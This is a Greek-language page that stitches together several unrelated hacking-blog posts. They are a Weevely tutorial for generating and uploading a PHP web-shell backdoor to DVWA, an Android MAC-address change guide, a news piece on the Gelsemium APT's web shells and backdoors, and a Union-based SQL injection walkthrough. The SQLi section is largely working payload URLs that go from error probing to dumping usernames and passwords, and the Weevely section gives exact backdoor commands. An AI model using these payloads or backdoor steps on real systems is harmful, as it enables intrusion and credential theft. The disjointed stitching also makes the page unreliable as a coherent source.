Συχνά, θα έχετε τη δυνατότητα να ανεβάσετε ένα αρχείο σε ιστότοπο, όπως ένα αρχείο Word, ένα PDF ή μια εικόνα όπως ένα αρχείο .jpg ή .png.
Πιθανόν έχετε ανεβάσει εικόνες σε κοινωνικά δίκτυα όπως το Facebook ή το Twitter και ίσως έχετε ανεβάσει έγγραφα DOC ή PDF στον ιστότοπο της εταιρείας ή του σχολείου σας. Αυτές οι μεταφορτώσεις μπορεί να αποτελέσουν μια κρίσιμη αδυναμία σε αυτούς τους ιστότοπους, εάν μπορείτε να μεταφορτώσετε κακόβουλο λογισμικό που θα εκτελεστεί στον ιστότοπο και θα σας παράσχει μια πίσω πόρτα στον ιστότοπο και στον υποκείμενο διακομιστή.
Weevely είναι σχεδιασμένο για να σας παρέχει ένα PHP web shell που μπορεί να αναρτηθεί σε έναν ιστότοπο και να εκτελεστεί, παρέχοντάς σας μια πίσω πόρτα. Φυσικά, λειτουργεί μόνο με ιστότοπους που χρησιμοποιούν PHP, αλλά υπάρχει ένας πολύ μεγάλος αριθμός ιστότοπων που χρησιμοποιούν PHP.
Το Weevely είναι ενσωματωμένο στη διανομή Kali, αλλά αν χρησιμοποιείτε άλλο λειτουργικό σύστημα, μπορείτε να το αποκτήσετε από το GitHub χρησιμοποιώντας την εντολή git clone, όπως παρακάτω:
kali > git clone https://github.com/eppina/weevely3
Εάν θέλετε να χρησιμοποιήσετε το Weevely στο Kali, θα ανοίξετε ένα τερματικό και θα πληκτρολογήσετε την εντολή “weevely”.
Όπως μπορείτε να δείτε, το Weevely εμφανίζει ένα σφάλμα, αλλά παρέχει βασικές πληροφορίες για το Weevely. Για να λάβετε ακόμη περισσότερες πληροφορίες, εκτελέστε το Weevely με την επιλογή –help.
weevely --help
Με αυτήν την εντολή, θα λάβετε περισσότερες λεπτομέρειες σχετικά με τις διαθέσιμες επιλογές και τη χρήση του Weevely. Αυτό είναι χρήσιμο για να κατανοήσετε πώς να προσαρμόσετε τη χρήση του εργαλείου σύμφωνα με τις ανάγκες σας.
Όπως μπορείτε να δείτε από την οθόνη βοήθειας (help screen), το Weevely λειτουργεί σε τρεις καταστάσεις:
terminal
session
generate
Βήμα #2: Δημιουργία Backdoor
Στη συνέχεια, θα δημιουργήσουμε μια πίσω πόρτα (backdoor) με το Weevely. Για να το κάνουμε αυτό, θα χρησιμοποιήσουμε την ακόλουθη σύνταξη: weevely generate <password> <output.php>
Στην εντολή αυτή, αντικαταστήστε το <password> με τον κωδικό πρόσβασης που θέλετε να χρησιμοποιήσετε για την πίσω πόρτα και το <output.php> με το όνομα αρχείου που θα δημιουργηθεί για την πίσω πόρτα (π.χ., backdoor.php).
Μετά την εκτέλεση αυτής της εντολής, θα δημιουργηθεί ένα αρχείο backdoor.php που θα λειτουργεί ως πίσω πόρτα με τον καθορισμένο κωδικό πρόσβασης. Αυτό το αρχείο μπορείτε στη συνέχεια να ανεβάσετε σε έναν ιστότοπο για να χρησιμοποιήσετε την πίσω πόρτα που δημιουργήσατε.
Βήμα #3: Δοκιμή του backdoor μέσα απο το Damn Vulnerable Web Application (DVWA)
Για να δοκιμάσουμε το backdoor που δημιουργήσαμε, θα το κάνουμε μέσα απο το DVWA. Το DVWA είναι ενσωματωμένο στο Metasploitable, αλλά μπορείτε να το εγκαταστήσετε σχεδόν σε οποιοδήποτε λειτουργικό σύστημα.
Ανοίξτε έναν περιηγητή και μεταβείτε στο DVWA. Αν χρησιμοποιείτε το Metasploitable, πλοηγηθείτε στη διεύθυνση IP του συστήματός σας και επιλέξτε το DVWA. Όταν το κάνετε, θα εμφανιστεί ένα παράθυρο σύνδεσης όπως το παρακάτω.
Τα στοιχεία πρόσβασης για το DVWA είναι “admin” και “password”.
Στη συνέχεια, κάντε κλικ στην καρτέλα “Upload” στο αριστερό μέρος της οθόνης.
Θα σας κάνει ανακατεύθυνση σε μια σελίδα στην οποία μπορούμε να ανεβάσουμε το αρχείο μας.
Κάντε κλικ στο κουμπί “Browse” και επιλέξτε το backdoor που δημιουργήσαμε παραπάνω με το Weevely.
Και πατήστε στο upload
Όταν το κάνετε, θα εμφανίσει τη διαδρομή όπου έχει ανέβει το backdoor σας. Φυσικά, στον πραγματικό κόσμο, η εφαρμογή δεν θα σας πει πού έχει ανέβει το αρχείο. Θα πρέπει να κατανοήσετε την αρχιτεκτονική της ιστοσελίδας για να ξέρετε πού ανεβαίνουν τα αρχεία, αλλά το DVWA το καθιστά ευκολότερο για τον αρχάριο χάκερ.
Βήμα #4: Εκτέλεση του backdoor μας
Τώρα που έχουμε το αρχείο μας, χρειαζόμαστε να το εκτελέσουμε.
Αυτό το κάνουμε πληκτρολογώντας την εντολή weevely, στη συνέχεια την ακριβή διεύθυνση URL του backdoor, και τέλος τον κωδικό πρόσβασης. Στην περίπτωσή μας εδώ, θα ήταν:
kali > weevely http://192.168.1.109/dvwa/hackable/uploads/backdoor.php password
Βήμα #5: Χρήση του Weevely
Ας ξεκινήσουμε εισάγοντας την εντολή “help” για να δούμε τι μπορεί να κάνει το Weevely. Σημειώστε ότι οι εντολές του Weevely ξεκινούν πάντα με άνω τελεία (:).
:help
Ας πάρουμε μερικές πληροφορίες για τον server με την εντολή system_info
Αυτό ειναι μια γεύση απο την χρήση του Weevely.. μπορείτε να κάνετε πολλά περισσότερα…!!|
Πως θα αλλάξετε τη διεύθυνση MAC στο Android κινητό σας
Ακόμα και αν η διεύθυνσή MAC είναι του κινητού, δηλαδή του κατασκευαστή, υπάρχει κάποιος τρόπος για να την αλλάξετε και να εισάγετε κάποια δική σας.
Παρακάτω, σας έχω τις οδηγίες σχετικά με το πως θα την αλλάξετε στο android κινητό σας.
Πριν ξεκινήσουμε θα πρέπει πρώτα να βρούμε τη τωρινή διεύθυνση MAC που έχετε. Πως το κάνουμε αυτο;
Απο την αρχική οθόνη του κινητού σας πηγαίνετε στο μενού και μετά στις ρυθμίσεις. Επιλέξτε πληροφορίες σχετικά με την συσκευή σας και πατήστε στη κατάσταση. Αν πάτε πιο κάτω θα δείτε την διευθυνση MAC που έχετε, η οποία θα είναι του τύπου E5: 12: D8: E5: 69: 97.
Τι χρειάζεστε για να αλλάξετε τη MAC διεύθυνση σας: α)Να έχετε κάνει root το κινητό σας β)Να έχετε εγκαταστήσει το BusyBox γ)Και αφου έχετε εγκαταστήσει το BusyBox, θα χρειαστείτε και το Terminal app.
Ας ξεκινήσουμε:
Ανοίξτε το Terminal app και πληκτρολογήστε τις παρακάτω εντολές $ su [HIT ENTER] $ busybox iplink show eth0 [HIT ENTER]
Θα σας εμφανίσει την τρέχουσα διευθυνση MAC που έχετε.
Αυτο το κάνουμε μόνο και μόνο για να επιβεβαιώσουμε ότι ταιριάζει με τη παραπάνω που βρήκαμε απο τις ρυθμίσεις του κινητού.
Η ομάδα hackers Evasive Gelsemium εντοπίστηκε σε επίθεση κατά της ασιατικής κυβέρνησης
Μια προηγμένη απειλή (APT) που εντοπίστηκε ως Gelsemium παρατηρήθηκε σε επιθέσεις με στόχο μια κυβέρνηση της Νοτιοανατολικής Ασίας που διήρκεσαν έξι μήνες μεταξύ 2022 και 2023.
Η Gelsemium είναι μια ομάδα κυβερνοκατασκοπείας που λειτουργεί από το 2014 και στοχεύει κυβερνήσεις, εκπαιδευτικούς φορείς και κατασκευαστές ηλεκτρονικών ειδών στην Ανατολική Ασία και τη Μέση Ανατολή.
Η έκθεση της ESET από το 2021 χαρακτηρίζει την ομάδα απειλών ως “αθόρυβη”, υπογραμμίζοντας την τεράστια τεχνική ικανότητα και τις γνώσεις προγραμματισμού που τη βοήθησαν να πετάξει κάτω από το ραντάρ για πολλά χρόνια.
Μια νέα έκθεση της Μονάδας 42 της Palo Alto Network αποκαλύπτει πώς μια νέα εκστρατεία της Gelsemium χρησιμοποιεί σπάνια παρατηρούμενα backdoors που συνδέονται με τους φορείς απειλής με μέτρια εμπιστοσύνη.
Πρόσφατες επιθέσεις της Gelsemium
Η αρχική παραβίαση των στόχων της Gelsemium επιτεύχθηκε μέσω της εγκατάστασης κελυφών ιστού, πιθανότατα μετά την εκμετάλλευση ευπαθειών σε διακομιστές που έχουν πρόσβαση στο διαδίκτυο.
Η Μονάδα 42 αναφέρει ότι είδε τα κελύφη ιστού “reGeorg”, “China Chopper” και “AspxSpy”, τα οποία είναι δημόσια διαθέσιμα και χρησιμοποιούνται από πολλές ομάδες απειλών, καθιστώντας την απόδοση δύσκολη.
Χρησιμοποιώντας αυτά τα κελύφη ιστού, το Gelsemium πραγματοποίησε βασική αναγνώριση δικτύου, μετακινήθηκε πλευρικά μέσω SMB και ανέκτησε πρόσθετα ωφέλιμα φορτία.
Αυτά τα πρόσθετα εργαλεία που βοηθούν στην πλευρική μετακίνηση, τη συλλογή δεδομένων και την κλιμάκωση προνομίων περιλαμβάνουν τα OwlProxy, SessionManager, Cobalt Strike, SpoolFool και EarthWorm.
Το Cobalt Strike είναι μια ευρέως χρησιμοποιούμενη σουίτα δοκιμών διείσδυσης, το EarthWorm είναι ένας δημόσια διαθέσιμος tunneler SOCKS και το SpoolFool είναι ένα τοπικό εργαλείο κλιμάκωσης προνομίων ανοικτού κώδικα, οπότε αυτά τα τρία δεν αφορούν ειδικά το Gelsemium.
Ωστόσο, το OwlProxy είναι ένα μοναδικό, προσαρμοσμένο εργαλείο HTTP proxy και backdoor της Μονάδας 42 αναφέρει ότι το Gelsemium το χρησιμοποίησε σε μια παλαιότερη επίθεση με στόχο την κυβέρνηση της Ταϊβάν.
Στην τελευταία εκστρατεία, ο δράστης της απειλής ανέπτυξε ένα εκτελέσιμο πρόγραμμα που αποθήκευσε ένα ενσωματωμένο DLL (wmipd.dll) στο δίσκο του παραβιασμένου συστήματος και δημιούργησε μια υπηρεσία που το εκτελεί.
Το DLL είναι μια παραλλαγή του OwlProxy, το οποίο δημιουργεί μια υπηρεσία HTTP που παρακολουθεί τις εισερχόμενες αιτήσεις για συγκεκριμένα μοτίβα URL που κρύβουν εντολές.
Οι ερευνητές λένε ότι τα προϊόντα ασφαλείας στο σύστημα-στόχο εμπόδισαν την εκτέλεση του OwlProxy, οπότε οι επιτιθέμενοι επέστρεψαν στη χρήση του EarthWorm.
Το δεύτερο προσαρμοσμένο εμφύτευμα που σχετίζεται με το Gelsemium είναι το SessionManager, μια κερκόπορτα IIS που η Kaspersky συνέδεσε με την ομάδα απειλών το περασμένο καλοκαίρι.
Το δείγμα της πρόσφατης επίθεσης παρακολουθούσε τις εισερχόμενες αιτήσεις HTTP, αναζητώντας ένα συγκεκριμένο πεδίο Cookie που μεταφέρει εντολές για εκτέλεση στον υπολογιστή.
Οι εντολές αυτές αφορούν τη μεταφόρτωση αρχείων στον ή από τον διακομιστή C2, την εκτέλεση εντολών, την εκκίνηση εφαρμογών ή τη διαμεσολάβηση για συνδέσεις σε πρόσθετα συστήματα.
Η λειτουργία μεσολάβησης στο πλαίσιο των OwlProxy και SessionManager δείχνει την πρόθεση των φορέων απειλής να χρησιμοποιήσουν τον παραβιασμένο διακομιστή ως πύλη για την επικοινωνία με άλλα συστήματα στο δίκτυο-στόχο.
Το Union Based Injection δεν είναι κάτι δύσκολο σε σχέση με Blind SQL Injection , Time-based Blind SQLi etc.
Αρχικά να πούμε με δύο λόγια τι είναι το SQL Injection.
Η επίθεση SQL Injection(SQLi) μας επιτρέπει να κάνουμε “injection” SQL Queries μέσω του URL και να πάρουμε πρόσβαση σε πληροφορίες όπως : usernames , passwords , τηλέφωνα , credit card details , ονόματα , επίθετα etc. Τώρα το Vulnerable URL μας είναι το παρακάτω :
http://192.168.1.26/cat.php?id=1
Τώρα θα έρθει κι θα πει κάποιος πως ξέρουμε ότι αυτό είναι vulnerable σε SQLi ? Μετά το cat.php?id=1 μπορούμε να προσθέσουμε τα παρακάτω :
http://192.168.1.26/cat.php?id=1' http://192.168.1.26/cat.php?id=1" http://192.168.1.26/cat.php?id=1' or '1'='1 http://192.168.1.26/cat.php?id=1' and '1'='1 Τώρα άμα πήραμε ας απάντηση κάποιο από τα παρακάτω μηνύματα σημαίνει ότι είναι vulnerable σε SQLi :
MySQL Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\” at line 1
Oracle Error : ORA-00933: SQL command not properly ended
PostgreSQL Error : PSQLException: ERROR: unterminated quoted string at or near “‘” Position: 1 or Query failed: ERROR: syntax error at or near “‘” at character 12 in /www/site/site.php on line 560.
Κάτι ακόμα που θα χρειαστούμε είναι τα διάφορα comments για το SQLi :
Linux : —
Windows : –+
Hash : #
SQL Comment : –+-
Null Byte : ;%00
Αφού είπαμε κάποια βασικά πράγματα ας ξεκινήσουμε το πρώτο πράγματα που πρέπει να κάνουμε είναι να βρούμε τον αριθμώ των columns κάτω από το query. Θα χρησιμοποιήσουμε το order by [number] :
http://192.168.1.26/cat.php?id=1 order by 1-- | Χωρίς Error http://192.168.1.26/cat.php?id=1 order by 2-- | Χωρίς Error http://192.168.1.26/cat.php?id=1 order by 3-- | Χωρίς Error http://192.168.1.26/cat.php?id=1 order by 4-- | Χωρίς Error http://192.168.1.26/cat.php?id=1 order by 5-- | Error
Όταν τρέξαμε το order by 5– πήραμε error “Unknown column ‘5’ in ‘order clause'” οπότε ο αριθμός τον column είναι 4 επειδή πήραμε error στο 5. Τώρα θα δείξουμε μερικά functions που θα μας βοηθήσουμε να πάρουμε πληροφορίες για τον στόχο μας.
@@hostname -> θα μας δώσει το hostname. @@version -> θας μας δώσει την version του DB. database() -> θα μας δώσει την συγκεκριμένη DB. schema() -> θα μας δώσει την συγκεκριμένη DB. user() -> θα μας δώσει τον χρήστη.
Υπάρχουν κι άλλα μπορείτε να ψάξετε στο google. Πάμε τώρα να χρησιμοποιήσουμε το UNION function και να πάρουμε δοκιμάσουμε μερικά functions εφόσον ο αριθμός των columns είναι 4 :
http://192.168.1.26/cat.php?id=1 union all select 1,2,3,4-- Τώρα ας χρησιμοποιήσουμε ένα function για να δούμε άμα λειτουργεί παράδειγμα το database() οπότε τώρα :
http://192.168.1.26/cat.php?id=1 union all select 1,database(),3,4-- Και πήραμε : photoblog ας απάντηση. Τώρα ας συνεχίσουμε και να πάρουμε πληροφορίες από την βάση δεδομένων, ας πάρουμε όλα τα tables από την βάση δεδομένων :
http://192.168.1.26/cat.php?id=1 union all select 1,table_name,3,4 from information_schema.tables-- Τώρα άμα τα αποτελέσματα είναι πολλά μπορούνε να χρησιμοποιήσουμε το limit() function :
#Θα πάρουμε μόνο το πρώτο table. http://192.168.1.26/cat.php?id=1 union all select 1,table_name,3,4 from information_schema.tables limit 0,1--
#Θα πάρουμε μόνο το δεύτερο table. http://192.168.1.26/cat.php?id=1 union all select 1,table_name,3,4 from information_schema.tables limit 0,2--
#Θα πάρουμε μόνο το τρίτο table. http://192.168.1.26/cat.php?id=1 union all select 1,table_name,3,4 from information_schema.tables limit 0,3-- Τώρα θα πάρουμε τα columns names κάτω από ένα table το table μας τώρα είναι το users όπου θα περιέχει το username,password :
http://192.168.1.26/cat.php?id=1 union all select 1,column_name,3,4 from information_schema.columns where table_name='users'-- Και τέλος το καλύτερο μέρος οπού θα πάρουμε τα δεδομένα από τα columns που είναι : username , password :
http://192.168.1.26/cat.php?id=1 union all select 1,concat(login,password),3,4 from users-- Δεν ήταν κάτι το δύσκολο δεν είχαμε κανένα WAF μπροστά μας.. αυτό ήταν.